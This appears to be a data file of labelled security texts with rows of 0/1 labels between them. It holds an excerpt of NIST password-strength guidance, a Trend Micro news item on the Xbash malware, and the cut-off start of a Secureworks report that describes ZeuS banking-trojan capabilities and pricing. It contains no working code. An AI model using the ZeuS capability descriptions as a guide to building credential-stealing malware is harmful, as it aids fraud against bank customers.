communicate information on how and where to acquire technical assistance. For example, provide users information such as a link to an online self-service feature and a phone number for help desk support. Ideally, provide sufficient information to enable users to recover from intermittent events on their own without outside intervention. Inform users of factors that may affect the sensitivity of the biometric sensor (e.g., cleanliness of the sensor). 11 References This section is informative. 11.1 General References [BALLOON] Boneh, Dan, Corrigan-Gibbs, Henry, and Stuart Schechter. \xe2\x80\x9cBalloon Hashing: A Memory-Hard Function Providing Provable Protection Against Sequential Attacks,\xe2\x80\x9d Asiacrypt 2016, October, 2016. Available at: https://eprint.iacr.org/2016/027. [Blacklists] Habib, Hana, Jessica Colnago, William Melicher, Blase Ur, Sean Segreti, Lujo Bauer, Nicolas Christin, and Lorrie Cranor. \xe2\x80\x9cPassword Creation in the Presence of Blacklists,\xe2\x80\x9d 2017. Available at: https://www.internetsociety.org/sites/default/files/usec2017_01_3_Habib_paper.pdf [Composition] Komanduri, Saranga, Richard Shay, Patrick Gage Kelley, Michelle L Mazurek, Lujo Bauer, Nicolas Christin, Lorrie Faith Cranor, and Serge Egelman. \xe2\x80\x9cOf Passwords and People: Measuring the Effect of Password-Composition Policies.\xe2\x80\x9d In Proceedings of the SIGCHI Conference on Human Factors in Computing Systems, 2595\xe2\x80\x932604. ACM, 2011. Available at: https://www.ece.cmu.edu/~lbauer/papers/2011/chi2011-passwords.pdf. [E-Gov] E-Government Act [includes FISMA] (P.L. 107-347), December 2002, available at: http://www.gpo.gov/fdsys/pkg/PLAW-107publ347/pdf/PLAW-107publ347.pdf. [EO 13681] Executive Order 13681, Improving the Security of Consumer Financial Transactions, October 17, 2014, available at: https://www.federalregister.gov/d/2014-25439. [FEDRAMP] General Services Administration, Federal Risk and Authorization Management Program, available at: https://www.fedramp.gov/. [ICAM] National Security Systems and Identity, Credential and Access Management Sub-Committee Focus Group, Federal CIO Council, ICAM Lexicon, Version 0.5, March 2011. [M-03-22] OMB Memorandum M-03-22, OMB Guidance for Implementing the Privacy Provisions of the E-Government Act of 2002, September 26, 2003, available at: https://georgewbush-whitehouse.archives.gov/omb/memoranda/m03-22.html. [M-04-04] OMB Memorandum M-04-04, E-Authentication Guidance for Federal Agencies, December 16, 2003, available at: https://georgewbush-whitehouse.archives.gov/omb/memoranda/fy04/m04-04.pdf. [Meters] de Carn\xc3\xa9 de Carnavalet, Xavier and Mohammad Mannan. \xe2\x80\x9cFrom Very Weak to Very Strong: Analyzing Password-Strength Meters.\xe2\x80\x9d In Proceedings of the Network and Distributed System Security Symposium (NDSS), 2014. Available at: http://www.internetsociety.org/sites/default/files/06_3_1.pdf [NISTIR8062] NIST Internal Report 8062, An Introduction to Privacy Engineering and Risk Management in Federal Systems, January 2017, available at: http://nvlpubs.nist.gov/nistpubs/ir/2017/NIST.IR.8062.pdf. [NIST Usability] National Institute and Standards and Technology, Usability & Biometrics, Ensuring Successful Biometric Systems, June 11, 2008, available at: http://www.nist.gov/customcf/get_pdf.cfm?pub_id=152184. [OWASP-session] Open Web Application Security Project, Session Management Cheat Sheet, available at: https://www.owasp.org/index.php/Session_Management_Cheat_Sheet. [OWASP-XSS-prevention] Open Web Application Security Project, XSS (Cross Site Scripting) Prevention Cheat Sheet, available at: https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet. [Persistence] herley, cormac, and Paul van Oorschot. \xe2\x80\x9cA Research Agenda Acknowledging the Persistence of Passwords,\xe2\x80\x9d IEEE Security&Privacy Magazine, 2012. Available at: http://research.microsoft.com/apps/pubs/default.aspx?id=154077. [Privacy Act] Privacy Act of 1974 (P.L. 93-579), December 1974, available at: https://www.justice.gov/opcl/privacy-act-1974. [Policies] Weir, Matt, Sudhir Aggarwal, Michael Collins, and Henry Stern. \xe2\x80\x9cTesting Metrics for Password Creation Policies by Attacking Large Sets of Revealed Passwords.\xe2\x80\x9d In Proceedings of the 17th ACM Conference on Computer and Communications Security, 162\xe2\x80\x93175. CCS \xe2\x80\x9910. New York, NY, USA: ACM, 2010. doi:10.1145/1866307.1866327. [Section 508] Section 508 Law and Related Laws and Policies (January 30, 2017), available at: https://www.section508.gov/content/learn/laws-and-policies. [Shannon] Shannon, Claude E. \xe2\x80\x9cA Mathematical Theory of Communication,\xe2\x80\x9d Bell System Technical Journal, v. 27, pp. 379-423, 623-656, July, October, 1948. [Strength] Kelley, Patrick Gage, Saranga Komanduri, Michelle L Mazurek, Richard Shay, Timothy Vidas, Lujo Bauer, Nicolas Christin, Lorrie Faith Cranor, and Julio Lopez. \xe2\x80\x9cGuess Again (and Again and Again): Measuring Password Strength by Simulating Password-Cracking Algorithms.\xe2\x80\x9d In Security and Privacy (SP), 2012 IEEE Symposium On, 523\xe2\x80\x93537. IEEE, 2012. Available at: http://ieeexplore.ieee.org/iel5/6233637/6234400/06234434.pdf. 11.2 Standards [BCP 195] Sheffer, Y., Holz, R., and P. Saint-Andre, Recommendations for Secure Use of Transport Layer Security (TLS) and Datagram Transport Layer Security (DTLS), BCP 195, RFC 7525,DOI 10.17487/RFC7525, May 2015, https://doi.org/10.17487/RFC7525. [ISO 9241-11] International Standards Organization, ISO/IEC 9241-11 Ergonomic requirements for office work with visual display terminals (VDTs) \xe2\x80\x94 Part 11: Guidance on usability, March 1998, available at: https://www.iso.org/standard/16883.html. [ISO/IEC 2382-37] International Standards Organization, Information technology \xe2\x80\x94 Vocabulary \xe2\x80\x94 Part 37: Biometrics, 2017, available at: http://standards.iso.org/ittf/PubliclyAvailableStandards/c066693_ISO_IEC_2382-37_2017.zip. [ISO/IEC 10646] International Standards Organization, Universal Coded Character Set, 2014, available at: http://standards.iso.org/ittf/PubliclyAvailableStandards/c063182_ISO_IEC_10646_2014.zip. [ISO/IEC 24745] International Standards Organization, Information technology \xe2\x80\x94 Security techniques \xe2\x80\x94 Biometric information protection, 2011, available at: http://www.iso.org/iso/iso_catalogue/catalogue_tc/catalogue_detail.htm?csnumber=52946. [ISO/IEC 30107-1] International Standards Organization, Information technology \xe2\x80\x94 Biometric presentation attack detection \xe2\x80\x94 Part 1: Framework, 2016, available at: http://standards.iso.org/ittf/PubliclyAvailableStandards/c053227_ISO_IEC_30107-1_2016.zip. [ISO/IEC 30107-3] International Standards Organization, Information technology \xe2\x80\x94 Biometric presentation attack detection \xe2\x80\x94 Part 3: Testing and reporting, 2017. [RFC 20] Cerf, V., ASCII format for network interchange, STD 80, RFC 20, DOI 10.17487/RFC0020, October 1969, https://doi.org/10.17487/RFC0020. [RFC 5246] IETF, The Transport Layer Security (TLS) Protocol Version 1.2, RFC 5246, DOI 10.17487/RFC5246, August 2008, https://doi.org/10.17487/RFC5246. [RFC 5280] IETF, Internet X.509 Public Key Infrastructure Certificate and CRL Profile, RFC 5280, DOI 10.17487/RFC5280, May 2008, https://doi.org/10.17487/RFC5280. [RFC 6238] IETF, TOTP: Time-Based One-Time Password Algorithm,RFC 6238, DOI 10.17487/RFC6238, https://doi.org/10.17487/RFC6238. [RFC 6960] IETF, X.509 Internet Public Key Infrastructure Online Certificate Status Protocol - OCSP, RFC 6960, DOI 10.17487/RFC6960, https://doi.org/10.17487/RFC6960. [UAX 15] Unicode Consortium, Unicode Normalization Forms, Unicode Standard Annex 15, Version 9.0.0, February, 2016, available at: http://www.unicode.org/reports/tr15/. 11.3 NIST Special Publications NIST 800 Series Special Publications are available at: http://csrc.nist.gov/publications/nistpubs/index.html. The following publications may be of particular interest to those implementing systems of applications requiring digital authentication. [SP 800-38B] NIST Special Publication 800-38B, Recommendation for Block Cipher Modes of Operation: the CMAC Mode for Authentication, October, 2016, http://dx.doi.org/10.6028/NIST.SP.800-38B. [SP 800-52] NIST Special Publication 800-52 Revision 1, Guidelines for the Selection, Configuration, and Use of Transport Layer Security (TLS) Implementations, April, 2014, http://dx.doi.org/10.6028/NIST.SP.800-52r1 [SP 800-53] NIST Special Publication 800-53 Revision 4, Recommended Security and Privacy Controls for Federal Information Systems and Organizations, April 2013 (updated January 22, 2015), http://dx.doi.org/10.6028/NIST.SP.800-53r4. [SP 800-57 Part 1] NIST Special Publication 800-57 Part 1, Revision 4, Recommendation for Key Management, Part 1: General, January 2016, http://dx.doi.org/10.6028/NIST.SP.800-57pt1r4. [SP 800-63-3] NIST Special Publication 800-63-3, Digital Identity Guidelines, June 2017, https://doi.org/10.6028/NIST.SP.800-63-3. [SP 800-63A] NIST Special Publication 800-63A, Digital Identity Guidelines: Enrollment and Identity Proofing Requirements, June 2017, https://doi.org/10.6028/NIST.SP.800-63a. [SP 800-63C] NIST Special Publication 800-63C, Digital Identity Guidelines: Federation and Assertions, June 2017, https://doi.org/10.6028/NIST.SP.800-63c. [SP 800-90Ar1] NIST Special Publication 800-90A Revision 1, Recommendation for Random Number Generation Using Deterministic Random Bit Generators, June 2015, http://dx.doi.org/10.6028/NIST.SP.800-90Ar1. [SP 800-107] NIST Special Publication 800-107 Revision 1, Recommendation for Applications Using Approved Hash Algorithms, August 2012, http://dx.doi.org/10.6028/NIST.SP.800-107r1. [SP 800-131A] NIST Special Publication 800-131A Revision 1, Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths, November 2015, http://dx.doi.org/10.6028/NIST.SP.800-131Ar1 [SP 800-132] NIST Special Publication 800-132, Recommendation for Password-Based Key Derivation, December 2010, http://dx.doi.org/10.6028/NIST.SP.800-132. [SP 800-185] NIST Special Publication 800-185, SHA-3 Derived Functions: cSHAKE, KMAC, TupleHash, and ParallelHash, December, 2016, https://doi.org/10.6028/NIST.SP.800-185. 11.4 Federal Information Processing Standards [FIPS 140-2] Federal Information Processing Standard Publication 140-2, Security Requirements for Cryptographic Modules, May 25, 2001 (with Change Notices through December 3, 2002), https://doi.org/10.6028/NIST.FIPS.140-2. [FIPS 198-1] Federal Information Processing Standard Publication 198-1, The Keyed-Hash Message Authentication Code (HMAC), July 2008, https://doi.org/10.6028/NIST.FIPS.198-1. [FIPS 201] Federal Information Processing Standard Publication 201-2, Personal Identity Verification (PIV) of Federal Employees and Contractors, August 2013, http://dx.doi.org/10.6028/NIST.FIPS.201-2. [FIPS 202] Federal Information Processing Standard Publication 202, SHA-3 Standard: Permutation-Based Hash and Extendable-Output Functions, August 2015, http://dx.doi.org/10.6028/NIST.FIPS.202. Appendix A\xe2\x80\x94Strength of Memorized Secrets This appendix is informative. Throughout this appendix, the word \xe2\x80\x9cpassword\xe2\x80\x9d is used for ease of discussion. Where used, it should be interpreted to include passphrases and PINs as well as passwords. A.1 Introduction Despite widespread frustration with the use of passwords from both a usability and security standpoint, they remain a very widely used form of authentication [Persistence]. Humans, however, have only a limited ability to memorize complex, arbitrary secrets, so they often choose passwords that can be easily guessed. To address the resultant security concerns, online services have introduced rules in an effort to increase the complexity of these memorized secrets. The most notable form of these is composition rules, which require the user to choose passwords constructed using a mix of character types, such as at least one digit, uppercase letter, and symbol. However, analyses of breached password databases reveal that the benefit of such rules is not nearly as significant as initially thought [Policies], although the impact on usability and memorability is severe. Complexity of user-chosen passwords has often been characterized using the information theory concept of entropy [Shannon]. While entropy can be readily calculated for data having deterministic distribution functions, estimating the entropy for user-chosen passwords is difficult and past efforts to do so have not been particularly accurate. For this reason, a different and somewhat simpler approach, based primarily on password length, is presented herein. Many attacks associated with the use of passwords are not affected by password complexity and length. Keystroke logging, phishing, and social engineering attacks are equally effective on lengthy, complex passwords as simple ones. These attacks are outside the scope of this Appendix. A.2 Length Password length has been found to be a primary factor in characterizing password strength [Strength] [Composition]. Passwords that are too short yield to brute force attacks as well as to dictionary attacks using words and commonly chosen passwords. The minimum password length that should be required depends to a large extent on the threat model being addressed. Online attacks where the attacker attempts to log in by guessing the password can be mitigated by limiting the rate of login attempts permitted. In order to prevent an attacker (or a persistent claimant with poor typing skills) from easily inflicting a denial-of-service attack on the subscriber by making many incorrect guesses, passwords need to be complex enough that rate limiting does not occur after a modest number of erroneous attempts, but does occur before there is a significant chance of a successful guess. Offline attacks are sometimes possible when one or more hashed passwords is obtained by the attacker through a database breach. The ability of the attacker to determine one or more users\xe2\x80\x99 passwords depends on the way in which the password is stored. Commonly, passwords are salted with a random value and hashed, preferably using a computationally expensive algorithm. Even with such measures, the current ability of attackers to compute many billions of hashes per second with no rate limiting requires passwords intended to resist such attacks to be orders of magnitude more complex than those that are expected to resist only online attacks. Users should be encouraged to make their passwords as lengthy as they want, within reason. Since the size of a hashed password is independent of its length, there is no reason not to permit the use of lengthy passwords (or pass phrases) if the user wishes. Extremely long passwords (perhaps megabytes in length) could conceivably require excessive processing time to hash, so it is reasonable to have some limit. A.3 Complexity As noted above, composition rules are commonly used in an attempt to increase the difficulty of guessing user-chosen passwords. Research has shown, however, that users respond in very predictable ways to the requirements imposed by composition rules [Policies]. For example, a user that might have chosen \xe2\x80\x9cpassword\xe2\x80\x9d as their password would be relatively likely to choose \xe2\x80\x9cPassword1\xe2\x80\x9d if required to include an uppercase letter and a number, or \xe2\x80\x9cPassword1!\xe2\x80\x9d if a symbol is also required. Users also express frustration when attempts to create complex passwords are rejected by online services. Many services reject passwords with spaces and various special characters. In some cases, the special characters that are not accepted might be an effort to avoid attacks like SQL injection that depend on those characters. But a properly hashed password would not be sent intact to a database in any case, so such precautions are unnecessary. Users should also be able to include space characters to allow the use of phrases. Spaces themselves, however, add little to the complexity of passwords and may introduce usability issues (e.g., the undetected use of two spaces rather than one), so it may be beneficial to remove repeated spaces in typed passwords prior to verification. Users\xe2\x80\x99 password choices are very predictable, so attackers are likely to guess passwords that have been successful in the past. These include dictionary words and passwords from previous breaches, such as the \xe2\x80\x9cPassword1!\xe2\x80\x9d example above. For this reason, it is recommended that passwords chosen by users be compared against a \xe2\x80\x9cblack list\xe2\x80\x9d of unacceptable passwords. This list should include passwords from previous breach corpuses, dictionary words, and specific words (such as the name of the service itself) that users are likely to choose. Since user choice of passwords will also be governed by a minimum length requirement, this dictionary need only include entries meeting that requirement. Highly complex memorized secrets introduce a new potential vulnerability: they are less likely to be memorable, and it is more likely that they will be written down or stored electronically in an unsafe manner. While these practices are not necessarily vulnerable, statistically some methods of recording such secrets will be. This is an additional motivation not to require excessively long or complex memorized secrets. A.4 Randomly-Chosen Secrets Another factor that determines the strength of memorized secrets is the process by which they are generated. Secrets that are randomly chosen (in most cases by the verifier or CSP) and are uniformly distributed will be more difficult to guess or brute-force attack than user-chosen secrets meeting the same length and complexity requirements. Accordingly, at LOA2, SP 800-63-2 permitted the use of randomly generated PINs with 6 or more digits while requiring user-chosen memorized secrets to be a minimum of 8 characters long. As discussed above, the threat model being addressed with memorized secret length requirements includes rate-limited online attacks, but not offline attacks. With this limitation, 6 digit randomly-generated PINs are still considered adequate for memorized secrets. A.5 Summary Length and complexity requirements beyond those recommended here significantly increase the difficulty of memorized secrets and increase user frustration. As a result, users often work around these restrictions in a way that is counterproductive. Furthermore, other mitigations such as blacklists, secure hashed storage, and rate limiting are more effective at preventing modern brute-force attacks. Therefore, no additional complexity requirements are imposed. Privacy Policy | Security Notice | Accessibility Statement | Send feedback Get help with leaving a comment","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"New Multi-Platform Xbash Packs Obfuscation, Ransomware, Coinminer, Worm and Botnet - Security News - Trend Micro USA Business\xc2 For Home\xc2 2 Alerts Webinar: Bug Bounties and How They Help Watch now dismiss Webinar: Container Security that Matches the Speed of DevOps Save your spot dismiss No new notifications at this time. Buy Home Office Online Store Renew Online Free Tools Find a Partner Contact Sales Locations Worldwide 1-888-762-8736 (M-F 8am - 5pm CST) Small Business Buy Online Renew Online Download Scan Engines All Pattern Files All Downloads Subscribe to Download Center RSS Region The Americas United States Brasil Canada M\xc3\xa9xico Asia Pacific Australia Hong Kong (English) \xe9\xa6\x99\xe6\xb8\xaf (\xe4\xb8\xad\xe6\x96\x87) (Hong Kong) \xe0\xa4\xad\xe0\xa4\xbe\xe0\xa4\xb0\xe0\xa4\xa4 \xe0\xa4\x97\xe0\xa4\xa3\xe0\xa4\xb0\xe0\xa4\xbe\xe0\xa4\x9c\xe0\xa5\x8d\xe0\xa4\xaf (India) Indonesia \xe6\x97\xa5\xe6\x9c\xac (Japan) \xeb\x8c\x80\xed\x95\x9c\xeb\xaf\xbc\xea\xb5\xad (South Korea) Malaysia New Zealand Philippines Singapore \xe5\x8f\xb0\xe7\x81\xa3 (Taiwan) \xe0\xb8\xa3\xe0\xb8\xb2\xe0\xb8\x8a\xe0\xb8\xad\xe0\xb8\xb2\xe0\xb8\x93\xe0\xb8\xb2\xe0\xb8\x88\xe0\xb8\xb1\xe0\xb8\x81\xe0\xb8\xa3\xe0\xb9\x84\xe0\xb8\x97\xe0\xb8\xa2 (Thailand) Vi\xe1\xbb\x87t Nam Europe, Middle East & Africa Belgi\xc3\xab (Belgium) \xc4\x8cesk\xc3\xa1 Republika Danmark Deutschland, \xc3\x96sterreich Schweiz Espa\xc3\xb1a France Ireland Italia Middle East and North Africa Nederland Norge (Norway) Polska (Poland) \xd0 \xd0\xbe\xd1\x81\xd1\x81\xd0\xb8\xd1\x8f (Russia) South Africa Suomi (Finland) Sverige (Sweden) T\xc3\xbcrkiye (Turkey) United Kingdom Log In My Support Log In to Support Partner Portal Home Solutions My Account SafeSync Online Guardian Lost Device Portal Trend Micro Vault Password Manager Customer Licensing Portal SafeSync Online Case Tracking Premium Support Worry-Free Business Security Services Remote Manager Deep Security as a Service Referral Affiliate Referral Affiliate Products & Solutions Hybrid Cloud Security Data Center & Virtualization Cloud Security Container Security Security Fit for DevOps Solutions for Security Teams Network Security Intrusion Prevention Advanced Threat Protection User Protection Endpoint Security Email Security Web Security Endpoint & Gateway Suites SaaS Application Security Endpoint Detection & Response Solutions for Ransomware GDPR Compliance Cloud Healthcare Point of Sale End-of-Support Systems All Products and Trials All Solutions Small Business IoT Security Centralized Visibility & Investigation Global Threat Intelligence Connected Threat Defense Products Hybrid Cloud Security Data Center & Virtualization Cloud Security Container Security Security Fit for DevOps Solutions for Security Teams Network Security Intrusion Prevention Advanced Threat Protection User Protection Endpoint Security Email Security Web Security Endpoint & Gateway Suites SaaS Application Security Endpoint Detection & Response Solutions for Ransomware GDPR Compliance Cloud Healthcare Point of Sale End-of-Support Systems All Products and Trials All Solutions Small Business IoT Security Centralized Visibility & Investigation Global Threat Intelligence Connected Threat Defense IoT Security IoT Intelligence Breaking News & Intelligence Security News Simply Security Blog Security Intelligence Blog Education & Certification Events Webinars Cyber Risk Index Glossary of Terms Threat Encyclopedia \xc2 Research & Reports The Deep Web Internet of Things\xc2 (IoT) Enterprise Guides Vulnerabilities \xc2 \xc2 Security Reports Annual Predictions Zero Day Initiative (ZDI) All Research \xc2 Support Business Support Log In to Support Technical Support Virus & Threat Help Renewals & Registration Education & Certification Contact Support Downloads Free Cleanup Tools Find a Support Partner For Popular Products Deep Security OfficeScan Worry-Free Worry-Free Renewals Partners Partner Overview Find a Partner (Reseller, CSP, MSP) Distributors Become a Partner (Reseller, Integrator) All Alliance Partners Partner Login Success Stories Education & Certification About Overview Leadership Customer Success Stories Strategic Alliances Industry Accolades Competitive Benchmarks Newsroom Webinars Events Security Experts Careers History Corporate Social Responsibility Diversity & Inclusion Internet Safety and Cybersecurity Education Investors Legal Policies Find a Partner Contact Us Support 1-877-218-7353(M-F 8-5 CST) Contact Contact Sales Locations Support Find a Partner Learn of upcoming events Social Media Networks 1-888-762-8736 (M-F 8-5 CST) \xc3\x97 \xc2 powered by Security News Cybercrime & Digital Threats New Multi-Platform Xbash Packs Obfuscation, Ransomware, Coinminer, Worm and Botnet New Multi-Platform Xbash Packs Obfuscation, Ransomware, Coinminer, Worm and Botnet September 19, 2018 Email Facebook Twitter Google+ Linkedin Researchers discovered a new malware family, named Xbash, targeting servers of various platforms, with four different versions seen in the wild actively seeking unprotected services, exploiting vulnerabilities, and deleting databases in Linux and Microsoft systems. Xbash evades detection, scans targets from IP addresses and domain names, brute forcing, and combines ransomware, cryptocurrency coinmining, worm, and scanner capabilities. Reverse analysis found an estimated $6,000 worth of Bitcoin wired from approximately 48 victims to the C&C IP address, though evidence of data recovery has yet to be seen. [Read: The evolution of ransomware] Xbash specifically targets Linux servers with ransomware and botnet installations, and Windows servers for coinminer installs and propagation. Developed using Python, attackers used legitimate tool PyInstaller to distribute the Linux ELF executables, with Redis services enabling Xbash to determine if the system is running on Windows or not. Once it confirms that it's running on a Windows server, a hijacked Javascript or VBScript payload will download and execute a coinminer. It also has obfuscation capabilities that tries to bypass static analysis to avoid detection. [Read: Cryptocurrency-mining malware targets Kodi users on Windows, Linux] Unlike recent variants of Mirai and Gafgyt that target vulnerable Linux systems via randomly generated IP addresses, Xbash also scans and trawls through domain names. The C&C scans for specific destinations\xe2\x80\x99 known vulnerabilities in Hadoop, Redis and ActiveMQ (CVE-2016-3088) for self-propagation. Hadoop\xe2\x80\x99s unauthenticated command execution flaw discovered in October 2016, as well as the Redis arbitrary and remote command execution vulnerability disclosed in October 2015, have yet to be assigned CVE numbers. Based on the active C&C traffic, it scans and probes for open TCP or UDP ports such as HTTP, VNC, MySQL/MariaDB, Telnet, FTP, MongoDB, RDP, ElasticSearch, Oracle Database, CouchDB, Rlogin and PostgreSQL. While the malware uses a weak username and password dictionary to brute force itself into the service, it is also able to update its set from the C&C server, delete all the databases, and display the ransom message. Security researchers note this to be the first malware family to pack ransomware, coinmining, and worm capabilities that target services for both Linux and Windows. Further, the samples of Xbash indicate developing new capabilities of scanning for eventual implementation of intranet infection in enterprises, much like WannaCry and Petya. [Read: WannaCry/Wcry Ransomware: How to defend against it] Threats such as Xbash will continue to evolve as cybercriminals find more ways to profit from legitimate businesses and enterprises. Here are some best practices to protect enterprise systems from these kind of threats: Frequently change your passwords and make them complicated, from the gateway to the endpoint. Practice good password hygiene, and avoid reusing credentials on multiple user accounts. Regularly install system updates and patches for your systems once released by legitimate vendors. Regularly back up your files. Practice the 3-2-1 system to minimize or mitigate data loss. Malware related to this threat are detected as:\xc2 Ransom.Linux.XBASH.A Ransom.Linux.XBASH.AB Ransom.Linux.XBASH.AC Ransom.Linux.XBASH.AD Ransom.Linux.XBASH.AE Ransom.Linux.XBASH.AF Trojan.JS.POWLOAD.AA\xc2 Trojan.VBS.POWLOAD.AB Trojan.Win32.INFOSTEAL.TIDAOCN Coinminer.Win32.MALXMR.AX Coinminer_TOOLXMR.SMB-WIN64 Coinminer.Unix.MALXMR.AA Trend Micro\xe2\x84\xa2\xc2 Endpoint Security offers the broadest range of defense against the changing, advanced threat landscape. Trend Micro\xe2\x84\xa2 OfficeScan\xe2\x84\xa2\xc2 infuses high-fidelity machine learning into a blend of threat protection techniques to eliminate security gaps across any user activity and any endpoint. It constantly learns, adapts, and automatically shares threat intelligence across your environment. All of this modern threat security technology is made simple for your organization with central visibility, management, and reporting. Trend Micro\xe2\x84\xa2\xc2 Deep Discovery\xe2\x84\xa2\xc2 protects customers from this threat via these Deep Discovery Inspector (DDI) rules: 1536 - HTTP Request to a malware Command and Control Site 2573 - MINER - TCP (Request) HIDE Like it? Add this infographic to your site: 1. Click on the box below.\xc2 \xc2 2. Press Ctrl+A to select all.\xc2 \xc2 3. Press Ctrl+C to copy.\xc2 \xc2 4. Paste the code into your page (Ctrl+V). Image will appear the same size as you see above. Posted in Cybercrime & Digital Threats, Ransomware, Worm, Botnets Related Posts HDDCryptor/Mamba Ransomware Returns to Encrypt Disk and Network Files Information-Stealing Malware with Connections to Ryuk Targets Government, Military, and Financial Files Texas Municipalities Hit by REvil/Sodinokibi Paid No Ransom, Over Half Resume Operations Ransomware Attacks Hit Taiwan Hospitals and Dubai Firm Nemty Ransomware Possibly Spreads Through Exposed Remote Desktop Connections Recent Posts HDDCryptor/Mamba Ransomware Returns to Encrypt Disk and Network Files The Risks of Open Banking: Are Banks and their Customers Ready for PSD2? Information-Stealing Malware with Connections to Ryuk Targets Government, Military, and Financial Files Recognizing Enterprise Mission-Critical Assets Uncovering IoT Threats in the Cybercrime Underground We Recommend Vulnerabilities & Exploits Business Email Compromise Mobile Securing Home Routers Metasploit Publishes Working BlueKeep Exploit DHS Warning: Small Planes Vulnerable to Cyberattack Through CAN Bus Component Cybercrime and Exploits: Attacks on Unpatched Systems BEC Scam Costing Almost US$11 Million Leads to FBI Arrest of Nigerian Businessman US$1.7 Million Stolen From North Carolina County After BEC Scammers Posed as Contractor Report: Average BEC Attacks per Month Increased by 120% From 2016 to 2018 IPhone Theft Leads to Stolen Apple Credentials Through Phishing Attack Agent Smith Malware Infecting Android Apps, Devices for Adware Android Horror Game Hides Facebook and Google Credential Stealing Tactics Mirai Variant Spotted Using Multiple Exploits, Targets Various Routers A Look Into the Most Noteworthy Home Network Security Threats of 2017 Compromising Industrial Robots: The Fallacy of Industrial Routers in the Industry 4.0 Ecosystem [blog] 2019 Midyear Security Roundup Our midyear security roundup highlights threats that made their mark in the first half of 2019, and provides security insights to help users and organizations determine the right solutions and defense strategies against them. View the 2019 Midyear Security Roundup 2019 Security Predictions Our security predictions for 2019 are based on our experts\xe2\x80\x99 analysis of the progress of current and emerging technologies, user behavior, and market trends, and their impact on the threat landscape. View the 2019 Security Predictions Contact Sales Locations Careers Newsroom Privacy Support Sitemap linkedin twitter facebook youtube rss Copyright \xc2\xa9 2019 Trend Micro and the Trend Micro t-ball logo are trademarks or registered trademarks of Trend Micro Incorporated. All other product or company names may be trademarks or registered trademarks of their respective owners.","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Emergency Incident ResponseReport a Confirmed or Potential Breach? Call +1 770-870-6343 Blog Contact Support Login Secureworks Products Solutions Services Why Secureworks Insights Company Research ZeuS Banking Trojan Report THREAT ANALYSIS ZeuS Banking Trojan Report WEDNESDAY, MARCH 10, 2010 Author: Kevin Stevens and Don Jackson, Security Researchers SecureWorks Counter Threat Unit SM (CTU) Date: March 10, 2010 Introduction This Threat Analysis from the SecureWorks CTUSM provides a brief overview of the current version of ZeuS and its modules, along with the market pricing. We will then see how ZeuS is actively being used and the irony of how the criminals themselves can sometimes be the victims. ZeuS is a well-known banking Trojan horse program, also known as crimeware. This trojan steals data from infected computers via web browsers and protected storage. Once infected, the computer sends the stolen data to a bot command and control (C&C) server, where the data is stored. ZeuS is sold in the criminal underground as a kit for around $3000-4000, and is likely the one malware most utilized by criminals specializing in financial fraud. ZeuS has evolved over time and includes a full arsenal of information stealing capabilities: Steals data submitted in HTTP forms Steals account credentials stored in the Windows Protected Storage Steals client-side X.509 public key infrastructure (PKI) certificates Steals FTP and POP account credentials Steals/deletes HTTP and Flash cookies Modifies the HTML pages of target websites for information stealing purposes Redirects victims from target web pages to attacker controlled ones Takes screenshots and scrapes HTML from target sites Searches for and uploads files from the infected computer Modifies the local hosts file (%systemroot%\\system32\\drivers\\etc\\hosts) Downloads and executes arbitrary programs Deletes crucial registry keys, rendering the computer unable to boot into Windows Zeus Author Protects Code with Hardware-Based Licensing System The latest version of ZeuS as of this date is 1.3.4.x and is privately sold. The author has gone to great lengths to protect this version using a Hardware-based Licensing System. The author of Zeus has created a hardware-based licensing system for the Zeus Builder kit that you can only run on one computer. Once you run it, you get a code from the specific computer, and then the author gives you a key just for that computer. This is the first time we have seen this level of control for malware. Zeus Versions The version number breakdown is as follows (from the ZeuS manual): What do the numbers [signify] in the version? a.b.c.d a(1) - a complete change in the bot. This has never changed from 1. b(3) - Major changes that cause complete or partial incompatibility with the previous versions. Recently we moved from version 2 to version 3. c(2) - This is for bug fixes, improvements, and adding features. d(1) - This for a small revision in the code to make the malware undetectable by AV vendors. The latest public version the CTU has encountered is 1.2.7.19. This version is actively being traded and has the Firefox form grabber module enabled. The Firefox module allows the ZeuS trojan to grab data out of any forms completed on the Firefox web browser. The webinjects text file, which allows for the injection of fields into the Internet Explorer (IE) web browser, does not work with Firefox and only works with IE. The function of the webinjects text file is to display an extra field for a victim to complete when they log onto a banking site (see Figures 1 and 2). The extra field asks for data in addition to the username and password. This technique is similar to phishing, but the extra field is not part of the original site. The current list of modules that work with ZeuS are as follows: Zeus Kit for Version 1.3.4.x ($3,000 to $4,000) The Private Version of the Zeus Kit is running between $3,000 and $4,000. The latest private version of ZeuS, as of this date, is 